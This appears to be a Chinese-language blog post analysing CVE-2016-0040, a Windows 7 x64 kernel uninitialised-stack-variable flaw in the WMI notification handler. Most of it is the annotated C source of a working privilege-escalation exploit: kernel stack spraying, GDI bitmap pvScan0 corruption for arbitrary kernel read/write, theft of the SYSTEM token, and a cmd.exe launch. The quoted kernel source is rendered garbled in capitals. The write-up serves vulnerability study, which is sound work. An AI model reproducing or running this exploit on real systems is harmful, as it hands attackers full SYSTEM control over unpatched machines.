CVE-2016-0040 Windows内核未初始化栈变量漏洞分析

参考:https://bbs.pediy.com/thread-246433.htm
https://bbs.pediy.com/thread-225436.htm
未初始化栈变量原理:https://bbs.pediy.com/thread-223179.htm

漏洞名称:Windows 特权提升漏洞
漏洞编号: CVE-2016-0040
漏洞等级: 严重
披露日期:2015-12-04

描述:
Microsoft Windows Vista SP2,Windows Server 2008 SP2和R2 SP1,Windows 7 的内核允许本地用户通过精心设计的应用程序(也称为“ Windows特权提升漏洞”)获得特权。
Windows 内核不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用这些漏洞而经特殊设计的应用程序,从而控制受影响的系统。

在这里插入图片描述

提权poc:https://github.com/de7ec7ed/CVE-2016-0040
下载后在虚拟机上实验只需要编译这两个项目即可
在这里插入图片描述

实验环境:windows7 sp1 x64
附上windows7 x64 sp1 离线符号包下载地址:https://download.microsoft.com/download/0/A/F/0AFB5316-3062-494A-AB78-7FB0D4461357/Windows_Win7SP1.7601.17514.101119-1850.AMD64FRE.Symbols.msi
提权效果:

在这里插入图片描述
漏洞函数代码分析:借用看雪帖子wrk代码

NTSTATUS WMIPRECEIVENOTIFICATIONS(
    PWMIRECEIVENOTIFICATION RECEIVENOTIFICATION,
    PULONG OUTBUFFERSIZE,
    PIRP IRP
    )
{   
    #DEFINE MANY_NOTIFICATION_OBJECTS 16
    ULONG I;
    PWMIGUIDOBJECT GUIDOBJECT;
    ULONG HANDLECOUNT;
    PHANDLE3264 HANDLEARRAY;
    OBJECT_EVENT_INFO *OBJECTARRAY;
    OBJECT_EVENT_INFO STATICOBJECTS[MANY_NOTIFICATION_OBJECTS];  //本地
 
#ENDIF
 
    HANDLECOUNT = RECEIVENOTIFICATION->HANDLECOUNT;          //攻击点  r14d
    HANDLEARRAY = RECEIVENOTIFICATION->HANDLES;
 
    //
    // CREATE SPACE TO STORE THE OBJECT POINTERS SO WE CAN WORK WITH THEM
    //
 
    IF (HANDLECOUNT > MANY_NOTIFICATION_OBJECTS)
    {
        OBJECTARRAY = WMIPALLOC(HANDLECOUNT * SIZEOF(OBJECT_EVENT_INFO));
        IF (OBJECTARRAY == NULL)
        {
            RETURN(STATUS_INSUFFICIENT_RESOURCES);
        }
    } ELSE {//HandleCount 为0 ObjectArray 是未初始化
        OBJECTARRAY = STATICOBJECTS;
    }       
#IF DBG
    RTLZEROMEMORY(OBJECTARRAY, HANDLECOUNT * SIZEOF(OBJECT_EVENT_INFO));
#ENDIF
 
        } ELSE IF (RECEIVENOTIFICATION->ACTION == RECEIVE_ACTION_CREATE_THREAD) {
 
                    GUIDOBJECT = OBJECTARRAY[0].GUIDOBJECT;//解引用未初始化的指针,用户如果可以控制内容进而执行代码
                    GUIDOBJECT->USERMODECALLBACK = (PUSER_THREAD_START_ROUTINE)(ULONG_PTR)RECEIVENOTIFICATION->USERMODECALLBACK.HANDLE;
                    GUIDOBJECT->EVENTQUEUEACTION = RECEIVE_ACTION_CREATE_THREAD;
                    GUIDOBJECT->USERMODEPROCESS = USERMODEPROCESS;
                    GUIDOBJECT->STACKSIZE = STACKSIZE;
                    GUIDOBJECT->STACKCOMMIT = STACKCOMMIT;
 
                    THREADLISTHEAD = &GUIDOBJECT->THREADOBJECTLIST;
                    INITIALIZELISTHEAD(THREADLISTHEAD);

**GDI利用控制内容:
创建两个Bitmap对象,一个作为Manager,另一个作为Worker。借助内核漏洞下一步就可以修改Manager bitmap对象的pvScan0指针使其指向Worker的pvScan0。一旦完成这一步,SetBitmapBits可以被Manager调用来修改Worker的pointer,此后在Worker bitmap上调用SetBitmapsBits/GetBitmapBits就可以实现任意地址读写。
Manager 控制 着 Worker 读取 和 写入 的地址,而Worker 则通过 Set和Get BitmapBits 去对 该地址 进行 读写
最关键一点 需要 把Manager 的 pvScan0 指向 Worker的 pvScan0 一般通过漏洞去设置
总结

创建2个位图(Manager/Worker)。
使用句柄来查找GDICELL64,计算pvScan0地址(两个位图都算)。
使用漏洞来改写Worker的pvScan0偏移地址为Manager的pvScan0的值。
在Manager上使用SetBitmapBits来选择地址。
在Worker上使用GetBitmapBits/SetBitmapBits来读写此前设置的地址。

**

poc代码分析
mian函数功能是TriggerExploit实现的

INT main() {
	
	if (TriggerExploit() == FALSE) {
		printf("[-] Exploitation Failed");
		return -1;
	}

	printf("[+] Exploitation Completed\n");

	system("cmd.exe");

	return 0;
}

TriggerExploit函数分析

#include <windows.h>
#include <Psapi.h>
#include <process.h>
#include <stdio.h>

#include "Library.h"

PPEB GetCurrentPeb(VOID) {

	NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
	PROCESS_BASIC_INFORMATION ProcessInformation;
	ULONG ReturnLength;
	HMODULE library;

	library = LoadLibrary("ntdll.dll");

	if (library == NULL) { return NULL; }

	ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess");

	if (ZwQueryInformationProcess == NULL) { return NULL; }
	//参数传的1表示获取进程信息
	//	typedef struct _PROCESS_BASIC_INFORMATION {
	//	PVOID Reserved1; 
	//	PPEB PebBaseAddress; // 接收进程环境块地址
	//	PVOID Reserved2[2]; 
	//	ULONG_PTR UniqueProcessId;// 接收进程ID
	//	PVOID Reserved3;
	//} PROCESS_BASIC_INFORMATION;
	if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) {
		return NULL;
	}

	return ProcessInformation.PebBaseAddress;
}

BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) {
	
	BYTE bitmap[BITMAP_SIZE];//指向颜色数据数组指针。这些颜色数据用来设置矩形区域内像素的颜色。大小为0x64*0x64*(32/8)
	HBITMAP bitmaps[BITMAP_COUNT];//大小4096
	INT i;

	memset(bitmap, 'a', BITMAP_SIZE);
	
	for (i = 0; i < BITMAP_COUNT; i++) {
		//创建位图 宽和高为0x64 
		bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap);

		if (bitmaps[i] == NULL) {
			printf("[-] Unable To Create The Required Bitmaps\n");
			return FALSE;
		}
		//将刚刚创建的位图的位拷贝到缓冲区里 拷贝大小为0x64*0x64*(32/8)
		GetBitmapBits(bitmaps[i], BITMAP_SIZE, &bitmap);
	}
	*hManager = bitmaps[BITMAP_MANAGER_INDEX];//hManager指向bitmaps[2048]
	*hWorker = bitmaps[BITMAP_WORKER_INDEX];//hWorker指向bitmaps[3072]

	return TRUE;
}

PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) {
	
	GDICELL64 *cells;//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
	WORD index;
	
	index = LOWORD(handle);

	cells = (GDICELL64 *)(peb->GdiSharedHandleTable);

	return cells[index].pKernelAddress;
}

BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) {
		
	if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) {
		printf("[-] Unable To Set Destination Address: 0x%p\n", dest);
		return FALSE;
	}

	return SetBitmapBits(hWorker, len, src) ? TRUE : FALSE;
}

LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	
	if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
		printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	
	return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}

PVOID GetNtOsKrnl(VOID) {
	PVOID ImageBases[IMAGE_BASE_LIST_SIZE];
	DWORD needed = 0;

	if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) {
		printf("[-] Unable To Enumerate Device Drivers: %d\n", needed);
		return NULL;
	}

	return ImageBases[IMAGE_BASE_KERNEL_INDEX];
}

PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) {

	HMODULE loaded;
	PVOID address;
	PVOID runtime;

	loaded = LoadLibrary("ntoskrnl.exe");

	if (loaded == NULL) {
		printf("[-] Unable To Load NtOsKrnl.exe\n");
		return NULL;
	}

	address = GetProcAddress(loaded, "PsInitialSystemProcess");

	if (address == NULL) {
		printf("[-] Unable To Get PsInitialSystemProcess\n");
		return NULL;
	}

	FreeLibrary(loaded);

	runtime = GetNtOsKrnl();

	if (runtime == NULL) {
		printf("[+] Unable To Get NtOsKrnl Runtime Address\n");
		return NULL;
	}

	if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) {
		printf("[-] Unable To Read PsInitialSystemProcess Address\n");
		return NULL;
	}

	return address;
}

PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {

	PVOID systemProcess;
	LIST_ENTRY ActiveProcessLinks;
	ULONG64 UniqueProcessId;
	PVOID currentProcess;

	systemProcess = GetPsInitialSystemProcess(hManager, hWorker);

	if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) {
		printf("[-] Unable To Read Initial System Process ActiveProcessLinks\n");
		return NULL;
	}

	do {
		currentProcess = (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64));

		ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId), &UniqueProcessId, sizeof(ULONG64));

		if (GetCurrentProcessId() == UniqueProcessId) { return currentProcess; }

		ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY));

	} while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64)));

	printf("[-] Unable To Locate The Current Process In The List\n");

	return NULL;
}

BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) {

	PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT];
	WMI_RECEIVE_NOTIFICATION notification;// 用来WMIDataDevice进行通信 而发送 的数据为 WMIRECEIVENOTIFICATION 这个结构
	PVOID hManagerAddress, hWorkerAddress;
	BYTE ReturnBuffer[RETURN_BUFFER_SIZE];
	DWORD ReturnSize;
	HANDLE hDriver;
	PVOID address;
	INT i;

	NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers);

	//创建位图 hManager指向bitmaps[2048] hWorker指向bitmaps[3072]
	if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) {
		printf("[-] Unable To Setup Manager And Worker Bitmaps\n");
		return FALSE;
	}
	//在GDICELL64 结构中 pKernelAddress 指向 SURFACE 
	hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager);//获取Bitmap对应的GDICELL64结构的指针的pKernelAddress
	hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker);

	printf("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n");
	//将notification填充为0x1000000000006
	for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)&notification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; }

	
	notification.HandleCount = 0;//触发 OBJECTARRAY未初始化
	notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD;//触发未始化的指针解引用
	notification.UserModeProcess = GetCurrentProcess();

	for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; }

	printf("[%%] pPeb: 0x%p\n", pPeb);
	printf("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker);
	printf("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress);

	hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[-] Unable To Open The WMIDataDevice\n");
		return FALSE;
	}

    i = 0;
	do {
		Sleep(0);
		//内核栈喷射
		//拷贝pageFrameNumbers的内容到内核栈上的一个本地缓冲区。
		//最大尺寸可以拷贝1024* IntPtr::Size(32位机器上是4字节 = > 4096字节)。
		NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers);
		
		//任意内存 读写
		//驱动句柄/操作码/输入缓冲区地址/输入缓存区长度/输出缓冲区地址/输出缓冲区长度/返回长度/指向OVERLAPPED 此处为NULL
		if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, &notification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) {
			printf("[-] Device IO Control Returned Failure\n");
			return FALSE;
		}

		//将hManager的数据拷贝到address用来验证是否发送成功
		GetBitmapBits(*hManager, sizeof(PVOID), &address);
	} while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES));


    if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) {
        printf("[-] Unable To Trigger The Vulnerability\n");
        return FALSE;
    }

	printf("[+] Self-Referencing Pointer Placement Complete\n");

	pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1);
	pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET);
	SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers);

	printf("[+] Stage 1 Cleanup Complete\n");
	printf("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n");

	pageFrameNumbers[0] = NULL;
	WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID));

	printf("[+] Stage 2 Cleanup Complete\n");

	return TRUE;
}

BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {

	PVOID systemProcess;
	PVOID currentProcess;
	PVOID systemToken;

	systemProcess = GetPsInitialSystemProcess(hManager, hWorker);

	if (systemProcess == NULL) {
		printf("[-] Unable To Get The System Process\n");
		return FALSE;
	}

	currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets);

	if (currentProcess == NULL) {
		printf("[-] Unable To Get The Current Process\n");
		return FALSE;
	}

	printf("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess);

	if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {
		printf("[-] Unable To Get The System Process Token\n");
		return FALSE;
	}

	printf("[%%] SystemToken: 0x%p\n", systemToken);

	if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {
		printf("[-] Unable To Set The Current Process Token\n");
		return FALSE;
	}

	printf("[+] System Process Token Stolen\n");

	return TRUE;
}

BOOLEAN TriggerExploit(VOID) {

	PPEB pPeb; //进程peb结构
	HBITMAP hManager, hWorker;//因为加载的是位图所以返回的句柄是HBITMAP型的
	EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 };//pid,Token

	printf("\n");

	pPeb = GetCurrentPeb();////获取当前进程peb地址

	if (pPeb == NULL) {
		printf("[-] Unable To Get The Current PEB\n");
		return FALSE;
	}

	if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) {//利用
		printf("[-] Unable To Trigger Vulnerability\n");
		return FALSE;
	}

	printf("[+] Vulnerability Triggered\n");

	printf("[+] Bitmap Read/Write Primitives Now Available\n");

	if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) {//提权
		printf("[-] Unable To Trigger Exploit\n");
		return FALSE;
	}

	printf("[+] Privilege Escalation Triggered\n\n");

	return TRUE;
}

这个只是了解利用,触发什么的没想那么多

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/105751239